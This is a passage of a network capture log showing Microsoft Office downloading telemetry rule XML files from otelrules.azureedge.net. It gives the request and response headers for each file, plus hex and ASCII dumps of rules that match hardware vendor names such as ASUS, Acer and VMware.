2024-11-24 03:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032226Z-15b8b599d88m7pn7hC1TEB4axw00000003y0000000007b1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032226Z-15b8b599d88s6mj9hC1TEBur3000000003m000000000hf20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032226Z-174c587ffdfp4vpjhC1TEBybqw00000003rg00000000rqmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032226Z-15b8b599d88phfhnhC1TEBr51n00000003wg00000000hab0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 000c37a0-d01e-002b-0920-3d25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032228Z-15b8b599d882zv28hC1TEBdchn00000003q000000000ec9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032228Z-178bfbc474bw8bwphC1NYC38b4000000057g000000008wg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:22:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:28 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:28 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: c28bf9c2-d01e-00ad-3220-3ee942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032228Z-15b8b599d88hr8sfhC1TEBbca400000003u0000000004e0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 03:22:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032228Z-174c587ffdf9xbcchC1TEBxkz400000003s0000000007k93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:28 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032228Z-174c587ffdfp4vpjhC1TEBybqw00000003vg00000000bq8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:30 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 95105883-701e-001e-6118-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032230Z-178bfbc474brk967hC1NYCfu60000000054000000000f3zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:22:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:30 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c28a24b9-601e-0097-1e86-3df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032230Z-15b8b599d885ffrhhC1TEBtuv000000003xg00000000adn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:22:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:30 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:30 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032230Z-174c587ffdfmlsmvhC1TEBvyks000000043g0000000017bt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:30 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
